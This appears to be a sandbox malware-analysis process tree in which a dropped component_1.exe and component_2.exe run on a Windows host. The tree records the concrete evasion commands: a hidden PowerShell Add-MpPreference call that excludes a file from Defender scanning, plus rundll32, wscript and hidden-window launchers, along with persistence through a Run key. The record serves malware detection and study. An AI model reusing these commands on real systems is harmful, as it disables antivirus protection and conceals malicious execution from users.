        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x2ec,0x7ffd7766c188,0x7ffd7766c194,0x7ffd7766c1a0
        5⤵
        
        PID:5856
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1624,i,14710937797761445868,12997484292657404898,262144 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=2152 /prefetch:2
        5⤵
        
        PID:5788
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1800,i,7695522219485104053,14418153107733809476,524288 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=2100 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:6212
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2244,i,17267728624070559833,3230361451193931237,524288 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=2868 /prefetch:13
        5⤵
        
        PID:5648
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3376,i,385801310593633974,8715397542710643638,2097152 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=3420 /prefetch:1
        5⤵
        
        PID:5784
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3384,i,5765060576308865207,3162253407365113156,2097152 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:1
        5⤵
        
        PID:6084
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=3988,i,10304507592814973303,16475679790351932926,2097152 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=4048 /prefetch:1
        5⤵
        
        PID:5408
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4016,i,15090309776001157771,5285420623212276794,2097152 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=4072 /prefetch:9
        5⤵
        
        PID:5404
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4056,i,5194448203013774283,3700059278778273539,2097152 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=4076 /prefetch:1
        5⤵
        
        PID:6964
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4108,i,198904699409682947,9673525143708976748,2097152 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=4188 /prefetch:9
        5⤵
        
        PID:6572
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4548,i,332591587979115045,15202264995296524004,524288 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=4540 /prefetch:14
        5⤵
        
        PID:5836
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5340,i,14024437708924431066,8605268276992872967,524288 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:14
        5⤵
        
        PID:5100
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5428,i,6874991092703322931,1754529130354318494,524288 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:14
        5⤵
        
        PID:4628
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5484,i,16248742533138385412,1716051987241302826,524288 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=5460 /prefetch:14
        5⤵
        
        PID:6352
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6560,i,17645902050163924509,6531144121415639394,524288 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=6380 /prefetch:14
        5⤵
        
        PID:7560
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6564,i,13255830215052858284,17100540914297918403,524288 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:14
        5⤵
        
        PID:7568
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6564,i,13255830215052858284,17100540914297918403,524288 --field-trial-handle=2156,i,13135737425527735964,4240843110303292914,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:14
        5⤵
        
        PID:7576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4668
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4200
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:2976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3928
  - - C:\Windows\explorer.exe
      explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe"
      4⤵
      PID:3440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe""
    3⤵
    - System Binary Proxy Execution: Rundll32
    PID:4232
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe"
      4⤵
      System Binary Proxy Execution: Rundll32
      PID:2972
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:4568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe' -WindowStyle Hidden""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:4244
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4184
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:4068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783137700648.vbs""
    3⤵
    PID:900
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783137700648.vbs"
      4⤵
      PID:4072
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:4728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:4180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1632
- - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe
    C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:5864
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      4⤵
      PID:5760
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:5968
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nwihb4ks.4ns" --app=http://127.0.0.1:51877
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:2196
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\nwihb4ks.4ns /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\nwihb4ks.4ns\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\nwihb4ks.4ns --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd93a9c728,0x7ffd93a9c734,0x7ffd93a9c740
        5⤵
        
        PID:976
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nwihb4ks.4ns" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1600,i,14990019797316272473,14229383638772231723,262144 --field-trial-handle=1928,i,17864119075977522621,11418761454749847065,262144 --variations-seed-version --mojo-platform-channel-handle=1924 /prefetch:2
        5⤵
        
        PID:5480
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nwihb4ks.4ns" --force-high-res-timeticks=disabled --metrics-shmem-handle=2108,i,1331302505919514679,10858568982072573562,524288 --field-trial-handle=1928,i,17864119075977522621,11418761454749847065,262144 --variations-seed-version --mojo-platform-channel-handle=2112 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:2748
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nwihb4ks.4ns" --force-high-res-timeticks=disabled --metrics-shmem-handle=2244,i,7145979770504414332,8111751027524347174,524288 --field-trial-handle=1928,i,17864119075977522621,11418761454749847065,262144 --variations-seed-version --mojo-platform-channel-handle=2472 /prefetch:13
        5⤵
        
        PID:5600
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nwihb4ks.4ns" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2964,i,13585381457872712538,10057737780906362641,2097152 --field-trial-handle=1928,i,17864119075977522621,11418761454749847065,262144 --variations-seed-version --mojo-platform-channel-handle=2968 /prefetch:1
        5⤵
        
        PID:1168
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nwihb4ks.4ns" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2976,i,9875412717582271631,17620707216611160994,2097152 --field-trial-handle=1928,i,17864119075977522621,11418761454749847065,262144 --variations-seed-version --mojo-platform-channel-handle=2980 /prefetch:1
        5⤵
        
        PID:6528
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nwihb4ks.4ns" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3388,i,4933579303861908308,16315913205798400166,2097152 --field-trial-handle=1928,i,17864119075977522621,11418761454749847065,262144 --variations-seed-version --mojo-platform-channel-handle=3400 /prefetch:1
        5⤵
        
        PID:6852
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nwihb4ks.4ns" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3428,i,16157786915245470754,5365829290707352577,2097152 --field-trial-handle=1928,i,17864119075977522621,11418761454749847065,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:9
        5⤵
        
        PID:4972
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nwihb4ks.4ns" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4416,i,7659133741017849747,15108053138250551572,2097152 --field-trial-handle=1928,i,17864119075977522621,11418761454749847065,262144 --variations-seed-version --mojo-platform-channel-handle=4444 /prefetch:9
        5⤵
        
        PID:2248
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --app=http://127.0.0.1:53153
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:3304
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x240,0x244,0x248,0x23c,0x2f4,0x7ffd7766c188,0x7ffd7766c194,0x7ffd7766c1a0
        5⤵
        
        PID:3640
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1760,i,9308911588165459863,16515979615725510881,524288 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=2536 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:6860
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1588,i,5322118702078196726,11733309509305057942,262144 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=2500 /prefetch:2
        5⤵
        
        PID:6976
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2256,i,16926753654732970326,3709898822184642350,524288 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=2580 /prefetch:13
        5⤵
        
        PID:2852
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3376,i,11873575635346382332,15602616204088224242,2097152 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=3396 /prefetch:1
        5⤵
        
        PID:1760
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3384,i,5937528656651308431,6758019384770545708,2097152 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=3408 /prefetch:1
        5⤵
        
        PID:2636
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3780,i,10274424404517174916,17109147696799371275,524288 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:14
        5⤵
        
        PID:6624
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3784,i,8495978000241290087,18025532008209226228,524288 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=5016 /prefetch:14
        5⤵
        
        PID:6900
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3772,i,11132210821374242880,4230796827713400490,524288 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=5080 /prefetch:14
        5⤵
        
        PID:6944
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3736,i,15505303683073587469,7275625190658696659,2097152 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=5164 /prefetch:1
        5⤵
        
        PID:5772
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sqcazvph.jhu" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3900,i,73722461355640521,17953013131456323043,2097152 --field-trial-handle=2508,i,17697723259910196968,5418811140453154696,262144 --variations-seed-version --mojo-platform-channel-handle=5192 /prefetch:9
        5⤵
        
        PID:6876
